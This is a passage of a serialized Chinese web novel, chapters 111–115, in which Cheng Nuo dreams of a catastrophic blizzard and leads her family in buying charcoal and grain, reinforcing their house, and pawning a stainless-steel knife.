四下望去,白雪覆盖一切,整个世界仿佛回到冰河时代,林中树枝被一层又一层的雪覆盖得严严实实,连着下了几天几夜,每层雪之间冻得坚硬如磐石,根本没法在雪地里行走。 大梨村的百姓吃完储备的粮食,却无法刨开雪层觅食,不得已杀掉家里饲养的家禽。 家禽总有吃完的一天,大雪却好似无穷无尽,永不停歇。 各家各户传出有人饿死冻死的消息,一时间人心惶惶,却挡不住阎王爷来收人。 耗尽粮食储备的程家人,也没能在灾难中幸免,柴火耗尽,夜间气温骤降,即便全家人聚在一起取暖,架不住屋子年久失修,大风刮过摇摇欲坠,冷风嗖嗖往屋子里灌。 等这场持续三个月的大雪结束,瘦成人干的程家人底子彻底坏了,先是两个老的相继去世,接着是冻伤的孩子和妇人,最后只剩下年轻力壮的男人苟活下来,却也留下一身的病。 程诺从梦中惊醒时,屋外放起热闹喜庆的鞭炮,与梦里萧瑟凄楚的绝望对比强烈。 “盼儿,看看你娘怎么还没醒。”赵氏丢掉手中的炮仗。 程母:“没事,大年初一,除了拜年没什么大事,她忙活几个月累着了,多睡会吧。” 程诺穿上衣服出门,程家人换上新衣,各个满面红光,跟梦中面黄肌瘦,脸颊凹陷到只剩下皮包裹骨头的模样大相径庭,孩子们笑意盈盈,不复雪灾过后死气沉沉,满目空洞的麻木。 程母见女儿气色不佳,以为是前一晚守岁没睡好:“灶上有温着的扁食,酱油熬好了,还煮了排骨汤,待会儿喝上一碗,要是还困,就继续回屋睡。” 说完,门口传来热闹的人声,是街坊四邻来拜年了,大伙儿其乐融融感受新年的喜庆,辛苦了一整年的庄稼人,也就春节这几日能放松。 “程大哥,新年如意,生意兴隆啊!” “程爷爷程奶奶,身体健康,长命百岁。” 程母将早准备好的花生抓了一把塞进孩子们手中,还各给了块拇指大小的饴糖。 孩子们眼睛瞪大,欢欢笑笑接过来,跑到爹娘面前显摆。 村民们眼神意味深长,饴糖贵,谁家过年舍得买点也是给自家孩子准备的,程家竟舍得分给别家孩子,看来今年摆摊卖卤肉确实赚到钱了。 范家的本没想让儿子来程家拜年,一听她家给孩子发饴糖,忙推着石头后背,催促道:“在家吵着要吃糖,糖就在跟前,还不快去要。” 石头还在为上次讨肉捂死小猪仔,被爹娘混合双打的事后怕,见又要上门讨吃的,心里有些怵,架不住门口几个孩子吃了糖后脸上的笑容太幸福,蹭蹭跑过去要糖。 程母看到院外伸长脖子张望的女人,想着大年初一,图个吉利,不愿跟个孩子计较,冲石头道:“石头,婶子给你糖,你给婶子拜个年?” 石头眼睛盯着赵氏手中的陶罐,口水直咽,敷衍道:“新年好,新年好。” 双手摊开,伸到跟前。 程母笑着放了快糖在他手心,一瞬间被他塞进嘴里,囫囵两下,嘴里包裹东西说不清楚话,又摊开了手:“醒(新)年好。” 赵氏脸上出现一道裂缝,在程母示意下,忍着不满又给了一块。 谁想到石头如法炮制,又迅速塞进嘴里,摊开手,一而再再而三,脾气再好也受不了,赵氏抱紧陶罐挥手轰人:“走吧,去别家要糖去。” 石头不傻,别家才不会给小孩子分糖,厚着脸皮继续:“再给一颗吧。” 范家的在门口捂住嘴直笑,儿子聪明,别家一个孩子只有一个,她家儿子张嘴就要三块糖。 赵氏抱紧陶罐要回屋,袖子被石头拽住:“新年大吉,给糖给糖。” 这时远处天边突然划过一道闪电,紧接着有嗡嗡的雷鸣声响起。 程诺弯腰视线跟石头齐平,看到他鼻子下挂着的两道鼻涕,还有一身勉强算得上干净的旧衣服,嫌弃地皱皱眉:“小石头,知道贪心的小孩有什么下场吗?” 石头砸吧两下嘴,口中甜丝丝的味道给他了勇气,摇摇头。 天空又划过一道闪电,这回挨得近,程诺淡淡开口,一字一句:“会被雷劈死。” 一声巨大的响雷,吓得所有人缩了缩脖子,好一阵才回过神。 石头感觉雷像是在他脑袋上炸开的,配合程诺似笑非笑的眼神,惊得他后背直凉,嘴里的糖味道竟泛出苦味。 他猛地后缩两步,在天空再次炸响的雷声中,捂着脑袋,跟见了鬼似的,尖叫着往家方向跑,范家的看得莫名其妙,只能在后头跟着追。 “冬天打雷不是好兆头。”程母抬头看着天,喃喃道。 程诺:“要下大雪了,会很冷。” 程大壮正在猪圈里将攒了一晚上的粪便铲去茅坑,大过年的,院里还是清爽点好,省得来年财神爷不上门,听到程诺的话,抬起头:“今年下了好几场雪了,最多两天结束,不用担心。” 想到梦里的场景,想起白雪皑皑近乎末日的艰难生活,程诺怎么能不担心。 商城剩下不到两千块,不足以支撑大雪两月家中米粮供应,她必须在暴雪来临前,积攒足够多的余额。 程诺徒步到小李家时,院中的牛正在低头吃草,见到她鼻腔哼哼两声,算是打招呼。 程诺上前摸了摸它的脑袋,朝屋里喊道:“小李,你在家吗?” 小李从灶台里钻出来,身上围着围兜,手上还沾了面粉,见到程诺惊喜道:“四姐姐,应该是我先去给你拜年的,你怎么先来了?” “找你有点事。”程诺。 堂屋帘子被掀开,露出一张陌生面孔,应该是小李那位有孕在身的媳妇,好像叫绿草。 小李一家原住在云溪村,因绿草是家里独女,婚后二人还留在绿草娘家,一起照顾重病在床的老母,老母亲去年年中撒手人寰,二人本应回云溪村跟小李的鳏夫老爹一起生活,没想到绿草怀了孕。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十一章 暴雪天灾 一来父子二人都干的是驾牛车的活儿,村子就那点大,每日去镇上的人数有限,必定有一人往来两村之间耽误路上时间。 再者绿草是个小媳妇,李家没婆母在,她又有孕在身,生活难免不便利,大梨村的屋子不继续住下,保不齐被同族叔伯占了去,思索之下,二人决定保持原样。 原本一天拉客赚二三十文,勉强够两人生活,今年冬天来得早,去镇上的人变少,生意差了很多,就在小李为没出世的孩子苦恼时,程家拉了他一把。 不仅每天多出三十文的收益,还包下丈夫晚食,前两日甚至运回来芦苇,足够做出一床冬日保暖的被褥,绿草对程诺很是感激。 绿草扶着腰肢走出屋,冲程诺笑道:“外头冷,四姐姐里边坐吧,我给你倒杯茶。” 小妇人肚子看起来很大,挺起的小腹衬托得四肢瘦得吓人,程诺光看着都觉得胆战心惊。 “不用客气,我不渴,肚子几个月了?” 绿草露出一抹慈爱的笑,摸了摸腹部:“还有一个月就生了,这孩子怀得闹腾,总算要卸货了。” 可能因为小妇人太瘦,巨大隆起的小腹似有青筋爆出,比前世程诺见过的孕妇肚子更大一些,单看绿草的气色也知道怀孕受了不少罪。 小李端来热茶,又去炕上多塞了把柴火,让屋子更暖和些,风透过泥土墙直往屋里吹,柴火的作用收效甚微,李家的屋舍比程家还不如,之前给家中生病老母买药治病花光了积蓄。 程诺直接说出来意:“小李,我要借你牛车用两天。” 小李好奇:“大过年的,四姐姐用牛车做什么?卤肉生意过年也继续开吗?” 程诺摇头:“不是,我要去镇上买东西,数量不少。” “买什么东西,这么着急?”小李话没说完,胳膊被绿草杵了一下。 “你管四姐姐买什么,还不赶紧去套牛车,啰里吧嗦。” 小李闭上嘴,赶忙进牛棚解了套索:“四姐姐,要我陪你去不?” 程诺:“不用,我一个人就行。” —— 程诺坐在牛车上,鞭子一拍,牛轻车熟路地往程家方向走去。 刚到门口,程家人发出跟小李一样的困惑,程诺没多解释,跑进屋抽出装钱的抽屉,哗啦倒在桌上,仔细数起来。 这些日子赚的钱,加上之前又去济世堂领了回分红,她手上加起来一共有差不多一百二十两银子。 家里米面粮油要准备,柴火要囤积,房屋要加固,还有御寒的衣物远远不够。 程诺叹了口气,一样样来吧。 程二顺进屋,看到小妹在数钱,一脸心事重重,便知不对劲。 程诺道:“二哥,把爹娘,大哥大嫂,还有三哥叫过来,我有事情要说。” 程二顺哎了一声,立刻出去叫人,却被程诺又叫住,“等一下,二嫂也一起叫过来。” 程二顺迈出去的脚一顿,随即扯出一抹笑:“行。” 院中,程三虎闻言,问:“我媳妇呢,要不要叫着一起?” 全家人都叫去了,要是武氏知道只她一人被排除在外,少不了跟他闹腾。 程二顺:“我只负责传达小妹的意思,她说喊谁我就喊谁,三弟要是不怕小妹生气,就把三弟妹一起喊过来吧。” 留下话,进了东屋。 与君正在桌子前看书,与华早跟哥哥妹妹们跑去村口看敲锣舞狮,剩下顾寒栀坐在一旁椅子上做绣活儿。 “媳妇,家里要议事。”程二顺蹲在她脚畔。 果然不出程二顺所料,顾寒栀眉眼未抬,一副无动于衷的模样。 他继续道:“小姑让我喊你一起去听听。” 顾寒栀的动作出现一瞬的停滞,终于舍得放下手上的活儿,抬眼跟他对视。 程二顺心想,还是小妹的话好使,连媳妇都得给三分面子。 堂屋内,赵氏泡了一壶热茶,又将花生、糕饼、酥糖摆上桌,她本打算跟同村的妇人们一道去看舞狮,走半道被拉回来,心中有些怨怼。 武氏一早跟孩子们一起跑没影了,早知道她回来再收拾灶台的锅碗瓢盆,没准赶得上舞狮撒铜板接福纳财,往年她能抢到好几文呢。 热茶端上桌,听到程诺询问程大壮:“大哥,镇上哪儿能买到炭火,最好是木炭。” 木炭比草本植物烧制的草炭更耐用。 寒冬光靠柴火是肯定不行的,现在就算去后山上捡柴,也远不能够一大家子人过冬用。 程大壮思索道:“镇上有两家卖煤,但都是外地人开的店,现在怕是已经回乡过年了。” 程诺用柴火烧剩的炭灰,在桌上画着木炭的图案一划拉。 继续对程母说:“娘,云溪村的房子还空着,挺浪费的,家里人多,不如分一部分人住过去,你跟爹年纪大了,珍珠盼儿年纪小,又是女孩,身子骨本就薄弱,不如住过去,等冬天过了大家再搬回来。” 云溪村的房子是青砖瓦房,保暖效果比程家几个泥土堆成的小破屋强得多。 本小章还未完,请点击下一页继续阅读后面精彩内容!程母握住女儿的手:“四娘,好端端大过年的,突然说这些做什么?” 从早上醒来后,女儿脸色就不好。 程三虎难得聪明一回:“小妹,是不是你又做噩梦了?” 七八双眼睛倏地望向程诺。 程诺点点头:“暴雪天灾,一连下了两个月。” 全屋的人倒抽一口凉气,两个月的大雪,地里的庄稼肯定是活不成了,地窖的存粮掰着手指头数也不够两个月的分量,难怪程诺刚才要问柴火,冬天没有炭火,不饿死也得冻死。 程父年纪最大,想得也最远,暴雪不是最难熬的,难的是大雪过后,容易引发洪灾,到时候才真的叫千山鸟飞绝,万径人踪灭。 赵氏心慌得很:“会不会只是个噩梦……” 程父:“宁可信其有,不可信其无。” 不怕一万,只怕万一。 况且程三虎困鹿山,以及疫病那次,都是程诺提前预知梦境,谁知道这次是不是上天给的示警。 程诺:“我也希望不是真的,但我们不能拿一大家子的性命做赌,哪怕只有千分之一的可能,该做的准备也得做起来,确保万无一失。” 程母吓得手已经打起摆子,端起热茶往嘴里灌,浑身在冒冷汗,她好像已经感觉到刺骨的寒冷。 “说得对,说得对,女儿啊,哪天开始下大雪啊?” 程诺摇摇头。 她也不清楚,按照前两回的经验,少则一两天,多则三四天,梦境就会实现。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十二章 修缮房屋 程三虎猛地一拍桌子,吓了心慌慌的众人一大跳:“那还等什么,赶紧预备东西去!” 程母白了儿子一眼,起身去屋里抱回来一个木盒子,当着大伙儿的面倒在桌上:“这里面是我跟你们爹一辈子的积蓄,现在全部给四娘采买,助全家渡过难关,你们没意见吧?” “没有没有,爹娘的钱,你们想怎么用就怎么用。” “我屋里也有,等着我去拿来。” “我们大房也有些积蓄,待会儿全给小姑统一支配。” 程三虎此刻终于知道为什么小妹喊了全家人,唯独没叫武氏,她在这儿帮不上忙不说,想让她往外掏一个铜板都难。 程诺心中早有成算,手上的百十两银子不一定够用,还得集合全家力量,她将打算说了出来。 “首先,最重要的是屋子,现在的土坯房肯定不行,下大雪、狂风暴雨房子会撑不住,一旦倒塌暴雪天气想再修复就难了。” 青砖太贵,短时间也没法推翻老墙搭建新房,不过可以改善土坯的粘合性,在里头加上糯米,或者干脆在商城买粘合剂,这是最简单快速的方法。 打土坯的时候会辛苦些,并且要加快速度,一旦房子修复好,暴雪天的安全性至少不用担忧。 力气大的程大壮和程三虎立刻举手揽过活计。 赵氏质疑:“咱们为什么不干脆搬家到云溪村的砖瓦房。”何必费劲吧啦修房子。 程父吐了口长烟:“不成,程家的根在大梨村,全家搬过去太扎眼,村里好歹有祖祖辈辈的亲戚,对云溪村的百姓来说,我们只是外人,万一到时碰上麻烦事,我们家会被第一个推出来。” 加上不久前孟南洲的事,程父不敢拿人性作赌注。 “就按四娘刚说的,把孩子送过去,再从你们三兄弟中选一家跟着过去,你们娘也一起去。”程父道。 有身强力壮的男人在,遇事能扛得住。 程母问老头子:“那你呢?你身子骨也不好,一到刮风下雨膝盖疼,还是我留下,你跟孩子们去住砖瓦房。” 程父摆手:“我留下,若梦境成真,我这把老骨头还能帮村里人一把。” 他这是下定决心了,其他人知道劝不了。 程诺继续:“接着是尽可能多的屯粮,家里的粮食肯定是不够的,这件事交给我来办,剩下的木炭我先去镇上看看,能买到最好,买不到就去烧制瓷器的坊间,那里肯定有囤货。” 程二顺自告奋勇要跟程诺一起去镇上,程诺正由此打算,全家脑子最活络,会来事的就属程二顺,有他帮忙能省不少事。 程父心事重重:“我去跟村里人说,让他们也屯粮加固房屋。” 程诺叹口气,光是一个梦,村民未必会听。 临出门前,赵氏惴惴不安地找上程诺:“小姑,你大侄女嫁在五十里外的杏花村,你能不能想办法给她传个信,让她婆家多屯粮多屯炭。” 说着她掏出个钱袋子,里面有个银锭,大概二两左右。 赵氏怕程诺误会,忙解释:“这钱是当年雨姐儿出嫁时的聘礼钱,我偷偷藏下没有全交公中,这事全家没人知道,等会儿你大哥给你的才是我们大房出的采买钱。劳烦你寻法子送到雨姐儿手上,上回来信,说她怀了,我怕她挺不过寒冬。” 赵氏声音抽噎,程诺没法拒绝。 程雨是大房大女儿,所有孩子中最大的,程诺对她记忆很少,只依稀记得当初程雨出嫁寻婆家彩礼要得高,足足二十两。 吓退周边一圈青年,最后嫁给五十里外杏花村一户老子当账房的人家,双方家境对比,是程家高攀了。 二十两彩礼最后多少花在孟南洲求学上,多少用在补贴程四娘这个吃里扒外的小姑姑身上,程诺不用细究也知道,少不了。 程诺没有接过银锭:“大嫂,银锭太打眼,不如做成雨姐儿爱吃的糕点,换成散碎细银子,塞到糕点里。” 赵氏一点就通:“好,我马上去做,上回来信,雨姐儿说喜欢吃酸的,就给她做酸杏糕。” 做得越酸,女儿婆家人才不会吃,这样银子才能成为她的私房钱。 女儿自从嫁人至今已有三年,除了三日归宁,再未回过家,五十里路说长不长,说短不短,何至于一次不回门。 赵氏知道女儿心里埋怨家里,姑爷虽家里不愁吃穿,却是个跛脚的,加上三年肚子没动静,可想而知在婆家雨姐儿的日子多不好过。 如今家里条件逐渐好起来,赵氏希望家里能成为女儿的后盾,至少让她在婆家面前抬得起头。 各房将存银一同交到程诺手中,加起来差不多有十两。 顾寒栀把那对被武氏惦记许久的金镯子拿了出来,让程诺去典当换成米粮。 程诺没同意,先不说典当行春节不营业,就算开门价格也会往死里压。 “二嫂,我需要你跟我一起去趟镇上。”程诺道。 顾寒栀不解,但对方眼神灼灼,让她开不了口拒绝。 本小章还未完,请点击下一页继续阅读后面精彩内容!程二顺在一旁听得激动万分:“答应吧,小妹肯定有需要你的地方。” 媳妇自从嫁给他后,再没走出过大梨村,村子仿佛一只巨大的铁笼,束缚住她,也保护住她。 顾寒栀点点头,她虽觉得程诺梦境预警一事有些离谱,但正如程父说的,宁可信其有,为了两个孩子,她做什么都行。 程诺驾牛车载上程二顺夫妻,路过村口时,舞狮队伍刚结束,尽兴的村民三两成群往家走,其中就有抢到铜板喜滋滋的武氏,还有家里的几个孩子。 武氏没认出来车上的顾氏,以为是村里哪个妇人,等走近看到顾氏的刹那,下巴差点掉在地上。 “你、你们去哪啊?” 程二顺:“去镇上采买点东西。” “小姑手上是真赚不少钱了,天天买东西,这回上街又要买啥?”武氏心里记恨昨日程诺胳膊肘往外拐,害她损失百十文的事,说话冲里冲气。 程诺直接忽略武氏的话,对几个孩子道:“别在外头疯玩了,回家去找阿奶,阿奶有事情吩咐你们去做。” 几个孩子排成一队,乖巧地点头应和,然后大的牵着小的,往家方向去。 武氏冲远去的牛车啐了一口,回到家时,发现丈夫肩膀挑着扁担,正往院中空地上倒湿泥,大伯紧跟其后,箩筐里扛着的也是泥。 程母正在拾掇稻草,放入水中泡软,程父用铁锹清理墙面,全家人面色严肃,如临大敌。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十三章 木炭紧缺 武氏小跑到程三虎身旁:“你妹妹带老二家的去镇上买什么?” 别是背着她悄咪咪给顾寒栀添置东西吧? “杵在那干什么?没看到我腰都快断了,赶紧来帮忙!”程母扶着腰一声呵斥,吓得武氏不敢多话。 程诺这边顺利进城,镇上比她想象中热闹,沿街不少本地掌柜铺子依旧开门,供住在镇上的百姓春节光顾。 可惜卖木炭的两家店,店门紧锁,门口贴着告示,要归家一月,正月过了才能回来。 “来晚了。”程二顺惋惜道。 程诺:“镇上哪里有烧瓷或烧石灰的地方?” 程二顺:“我记得东边有一家烧制瓷器的店面,烧石灰的可能得到镇外找。” 三人先去了瓷器坊。 屋舍前院开店,后院烧窑,店铺面积不小,是清河镇上排得上号的瓷器店,此刻店门虽开着,却没几个人客人光顾。 老板见三人进门,热情迎上前:“客官要点什么?我们店里瓷器的品相是最好的,你们是自用还是送人?是要买装饰,还是实用点的?” 程二顺道:“掌柜,我们不买瓷器,您家还有多余的木炭吗?” “木炭?”老板一愣,视线打量几人半晌,随即摆摆手,“我家开瓷器店的,你们买木炭找我作甚?” 顾寒栀趁几人对话功夫,独自在店中观摩起来,拿起手边描边刻花纹的瓷盘,仔细端详。 程二顺这边还在据理力争:“就是知道您家开窑厂才来的,我们需要木炭过冬,这不镇上两家木炭店关了门,没办法才找到您这儿。” 老板不为所动,木炭才值几个钱,他卖瓷器尚且焦头烂额,没工夫应付不着四六的人,挥手赶客:“走吧走吧。” 程诺:“我们愿意出高于市价两成,买下你手中的炭火。” 老板眼皮都没抬:“我不缺这点钱。” 说完,店里两个小厮模样的壮汉,上前来轰人。 这时,一道清丽的女声,似幽深山谷中的清泉,不急不缓响起:“白瓷刀锋犀利,青瓷浮雕感强,手艺不错,只可惜,哎……” 婉转的叹息配上女子微微蹙起的双眉,好似手中拿着的瓷器明珠蒙尘,又或者是烧制瓷器的工匠怀才不遇。 老板定睛一瞧,眼前女子的气度跟方才那对兄妹有所不同,不知为何在她接连叹气声中,连他也不禁端起面前的瓷盆细细打量起来。 “可惜什么?你懂瓷器?” 顾寒栀淡淡瞥了他一眼,心中似有千言万语,化作一声长叹。 程诺向程二顺使了个眼神。 程二顺立马走到顾寒栀身侧:“媳妇,这里的东西自然比不上你从前用的,不看也罢。” 老板不乐意了,他家东西怎么了,他家在镇上开了几十年,只是最近几年生意不行了,从前供不应求,恨不得提前几个月排队定购的。 三个乡下佬,见过好东西吗? “等一下,把话说清楚了,我店里的东西怎么了?”老板拦住要走的几人,“开门做生意,最见不得不清不楚,听话里的意思,这位夫人在瓷器上颇有见地了?还请夫人赐教!” 顾寒栀淡笑:“赐教谈不上,只是见掌柜店中生意寂寥,不忍偌大店铺继续萧条,斗胆说上一二。” 老板做出一副洗耳恭听的姿势。 “贵店烧制瓷器的工匠手艺不错,雕花技术放在京都也能入眼,只可惜花纹老旧,至少有二三十年未曾推陈出新,我说的可对?” 老板一副被雷劈中的模样,一改先前的傲慢,声音磕绊:“那又如何,瓷器越老越吃想,况且我父亲辈这些花纹卖得极好,说明顾客喜欢。” “再中意,相同花纹,除非摔了碰了,谁会复购第二套?”程诺道。 程二顺:“吃饭还知道每天换花样,就是金盘子用久也腻了。” 老板脸色一囧,道理谁都会说,他不是不知道近两年店里生意不如意的原因,可好花纹难寻,京中流行的款式都是各家备了案的,他又不能照抄,若是被发现,小店能不能开下去都两说。 顾寒栀轻声道:“我有两套花纹,或许可解掌柜心中烦忧。” “你?”老板一脸不信,还是招呼小厮拿来笔墨。 顾寒栀提笔瞬间,老板便知此女不简单,又见她落笔从容,笔下生花,墨珠在她笔下犹如游龙走凤。 老板的双眸由疑惑怀疑,逐渐转变成钦佩激动。 两幅花纹完成,老板脸都快笑烂了:“好画好画,既新奇又美观。” 他确定这两幅图案没在京中瓷器行出现过,对顾寒栀的态度一百八十度大转变:“夫人开个价,这两张图我买了。” 顾寒栀摇摇头,指着程诺方向。 老板瞬间心领神会:“木炭!没问题,我这就吩咐窑厂,有多少给你们多少。” 最后,瓷器店老板用两辆马车分别给云溪村和大梨村程家各自送去一车木炭。 程二顺跟着去云溪村那辆一起走,大梨村自有程家人接应。 本小章还未完,请点击下一页继续阅读后面精彩内容!程诺按照市价给老板付钱,不同于后世按个算的蜂窝煤,大盛的炭还是散乱的按斤称重,十文钱一斤,比普通杂炭贵上双倍。 烧窑需要猛火大火,老板进货特地选用的耐烧扛烧的好炭,价格比枣木梨木做成的木炭价格又得再贵上五文,足足十五文一斤。 一斤能维持半个晚上,一晚就得用上两斤,就是三十文一晚,这还只是一间屋子的价格,难怪大梨村没谁家舍得用炭火。 瓷器店老板存货多,程诺没有全部运走,好心留下两百斤给老板一家,估算着足够他们度过雪灾,剩下的五百斤炭全部买走,付了八两银子。 老板一脸好奇:“买这么多炭做什么用?”他甚至怀疑对方也想烧窑做瓷器生意。 程诺笑道:“我家人怕冷,晚上要烧炭,也不想去山上捡拾柴火,灶膛也得备不少。” 老板半信半疑点点头。 程诺临走前,提醒道:“掌柜的,天越发冷了,要是有人再来买炭,剩下的两百斤留着自家用吧。” 老板没放在心里,真正舍得冬日里用木炭取暖的人家,早在年前准备好过冬份量,剩下的普通老百姓,果腹都不容易,哪里舍得花钱买炭哦。 木炭买完,最重要的事完成,程诺心里大石落了一半。 二人继续往粮食铺子走去,一前一后并不亲近。 路上,程诺真心实意道:“多亏二嫂,我们才能买到木炭,不然凭我跟二哥,说破嘴皮子也没用。” 顾寒栀轻笑:“你喊我来,不就是为的这一出吗?” 程诺:“浪费了两张图稿,嫂子不会怪我吧?”连京都瓷器坊都没有的样式,却被顾寒栀画出来,可见两张图稿价值多贵重。 顾寒栀摇摇头,没有多说什么。 就在程诺以为二人要一路沉默走下去时,对方开了口:“家里没出事前,开过一间窑厂,年少时,父亲见我爱作画,时常让我研究一些能纂刻绘制在瓷器上的图案,没想到拙作得到不少人喜欢,窑厂生意年盛一年,后来……” 顾寒栀停顿一瞬,似是陷入回忆。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十四章 障眼法 程诺大概能猜到后续,顾家被牵连,抄家下狱,好在留下一条命,判了流放,程二顺就是在顾寒栀流放西北路上,救下她的,那个地方就在程诺摆摊的灵水镇。 “我以后若也开个瓷器厂,就拉二嫂入股,你负责出创意,我负责运营,你主内我主外,生意一定差不了!”程诺轻快的语调,消散空气中沉闷的压抑感。 顾寒栀晃过神,看到面前阳光开朗的女子,仿佛万事于她不过过眼烟云,洒脱明媚积极向上的模样,让人忍不住跟着一起向往以后的日子。 她像个太阳,靠近的人无不被其温暖照耀。 顾寒栀不自觉拉近二人距离,想感受程诺身上的热烈,手腕突然被人亲昵挽住:“到时候,我们就能送与君去学堂读书,哦,差点把程云忘了,这小子八成不是读书的料,但也得送进书院长长见识,不能当个睁眼瞎吧!” 程云机灵外向,是个做生意的好料子。 总不能不会算数,也不懂写字,日后做生意不得被人骗了。 至于与君……程诺对这个侄子的了解甚少,只知他话不多,比较腼腆,长相肖似顾寒栀,是家里孩子中长相最好的,可惜被顾寒栀管束严格,是个没什么童年,喜好装老成的少年。 顾寒栀脑子里想的,跟程诺截然不同。 进书院读书,她的与君此生还能有这样的机会吗? 不经意间,二人走到米粮铺子,店里喜庆,每样粮食上头放了张大红福字,老板斜斜倚靠在柜台前,磕着花生看路上络绎走过,穿红着绿颇为喜庆的人群。 见到程诺时,一眼认出来,这不是前段时间在东市街卖卤肉铺子的老板娘吗? 他光顾过她家店铺好几回呢,听说如今想吃她家卤肉,得到西市云来酒楼了。 “程老板新年好啊!”米肆老板扯出个大大的笑。 程诺回了笑:“掌柜的生意兴隆,恭喜发财。” 开店的最爱听吉利话,多少都嫌不够。 “买点什么?”米肆老板春节开店只图一乐,不指望做生意的,没想到真有顾客上门。 程诺:“一百斤米,一百斤面,油盐酱醋您看着称,够三个月的量就成。” “好勒。” 春节几日伙计放假,米铺老板亲自动手。 他忙活的间隙,顾寒栀将程诺拉到一旁,问:“两百斤会不会太少了,家里十几个人,就算勒紧腰带,两百斤顶多十天功夫。” 这还是理想状态下,仅供每人维持基本生存的算法。 程诺:“这些先送回家,剩下的我会存放在云溪村青砖瓦房里,并且要在晚上运送,不能被人知道。” 一句话顾寒栀便明白程诺的意思,两百斤是做给村民看的障眼法。 告诉大伙我家也只有这些粮食,真到暴雪天气也得挨饿。 老板看两个妇人没什么力气,亲自将米粮送到牛车上,顾寒栀看守牛车,程诺还有其他地方要去。 二人不知,从瓷器铺出来后,身后两双眼睛紧盯了一路。 孟南洲许久没见程诺,突然在镇上遇见,心里浮现出一丝怪异的感受。 程诺穿的还是从前那身灰青色麻衣,黑发如瀑,发髻没有多余的装饰,他记得从前的程四娘哪怕再穷,也要在头上插跟竹筷子,路边摘花戴头上,看上去不伦不类,惹人笑话。 如今的她眼神清亮,举手投足间潇洒肆意,刚才跟两个店铺老板讨价还价,气势上丝毫不逊色,不是从前胡搅蛮缠,而是得到老板真心实意的尊重。 整个人浑身透露着……自信。 没错,就是自信。 是摆摊赚到钱,有了底气吗? 孟南洲心里像是堵了一团沾上水的棉花,很不畅快,这不是他预料中二人分开后程四娘该有的状态。 她应该痛哭流涕,应该四处寻求他的去向,应该跪在地上悔恨当初和离。 孟南洲甚至一度梦到过多次,程四娘闯入榴花巷,看到他和冯知意琴瑟和鸣,接着无能狂怒,在院中打砸,企图挽回他的心,他怒斥对方纠缠不休,发誓此生唯冯知意一人。 可他等来的不是程四娘的悔恨,而是她摆摊做生意,生意越来越红火的消息。 她怎么能过得如此潇洒? 自那之后,孟南洲的梦境逐渐发生转变。 场景还是那个场景,梦中的他却故意在程四娘面前表现亲昵,试图从她脸上看到嫉妒和悔恨,可是梦中人只是冷淡地看着他,仿佛他的动作落在她眼中,不过是则笑话。 “哥,程丑娘买那么多炭火做什么?”孟思静理了理头上的发簪,嫌弃地扫了眼远处的女子,大过年的把自己弄得一身灰不溜秋,真丢人。 孟南洲从回忆中回过神。 程诺买了五百斤木炭,卤肉用不到这么多炭火吧? 孟南洲走进瓷器店,跟老板随意攀谈两句,很快套出话:“那姑娘说,今年冬天会很冷,买来给家里人御寒用的。” 既然要御寒,早前木炭铺子开门的时候为什么不买,五百斤炭至少能用两三月吧,到时候都入春了。 本小章还未完,请点击下一页继续阅读后面精彩内容!买一个月的量,等木炭铺子营业再来买,来不及吗? 难道寒冬会持续两三月之久? 孟南洲再跟着到米铺时候,又见程诺买了两百斤粮,还有些油盐酱醋。 程家人多,两百斤粮不过十来日的分量,刚才涌现心中的猜测,立马被孟南洲否定,若真是两三个月来不了镇上,程诺就应该屯两三个月的粮食。 孟南洲笑着摇摇头,是他太敏感了。 程诺这边拐道径直走进一家还在营业的当铺。 此时是下午申时,当铺老板起身准备打烊,新年第一天,早早收了摊回家陪媳妇孩子更重要。 刚搬过板门,一道修长的身影走进店中。 女子一身粗布麻衣,头上无装饰,对着他的半张脸唇红齿白,清丽出尘,是个难得的美人,衬托得身上不值钱的麻衣好看几分,只是另外半张脸转过来时,上头一条横亘的伤疤破坏了这份美感。 新年第一天,当铺老板只想看见美丽的事务和数不清的银子,冲程诺说话的口气不算好:“打烊了打烊了,改天再来吧。” 程诺神情不变:“掌柜,我有急用,劳烦通融。” 当铺老板手上动作不停,半块板子很快安装好,店铺内的光线瞬间没了一半。 “是当素银簪子,还是鎏金手镯?” “您看看这个呢。” 当铺老板目光随意往程诺手中物件上一瞥,很快转过头,等意识到对方手里拿的是什么时,整个人愣在原地,面露大喜。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百一十五章 亮瞎眼不锈钢刀 程诺手心躺着一把匕首模样的刀具,刀身不知用的何种材料,即便屋中视线不佳,依旧挡不住其泛出的冷光。 刀柄位置包裹黑檀木,上头的防滑纹路精巧绝伦,鞘装表内层是羊皮,可以挂在腰间或是绑在腿上,尤其适合近身作战。 当铺老板年轻时从过军,上了年纪后归家,又从败家儿子手里接回祖上留下的几间当铺,战场上刀光剑影,除了自身条件过硬,最重要的事得有一把趁手的兵器。 而面前女子手中的刀刃,就是一把再好不过的武器。 老板搓搓手,抹去上头不存在灰尘,态度陡然转变,谄笑道:“能不能让我好好看看。” 程诺递上前。 老板仔仔细细摸了个遍,很快从库房拿出一件上了年代的盔甲,手握刀柄,利落干脆砍下去,“咔嚓”一声,坚硬的盔甲被轻松穿透。 “好刀。”当铺老板双眼闪烁精光,“老夫活这么大,没见过此种材质的刀具,敢问姑娘用的什么材料?” 程诺淡定吐出三个字:“不锈钢。” “不锈钢刀,好名字,不会生锈的刀。”老板一脸神往,当年在战场上,若是有这样一把好刀,他没准已经做到千户位置,何至于退伍前还是个不起眼的小兵,只能龟缩老家当个当铺老板,没法一展宏图大志。 程诺一本正经道:“这把刀刀刃极致锋利,无需每日保养也能做到月余无锈蚀,不知老板可曾听过一句话,十步杀一人,霜刃未曾试,说的便是这样的好刀。” 十步杀一人,霜刃不曾试。 听着就霸气。 当铺老板被哄得一愣一愣,恨不得立马拿起刀上战场杀敌。 “姑娘,我把刀我肯定是会收的,只是你一个姑娘家,从何而来。” 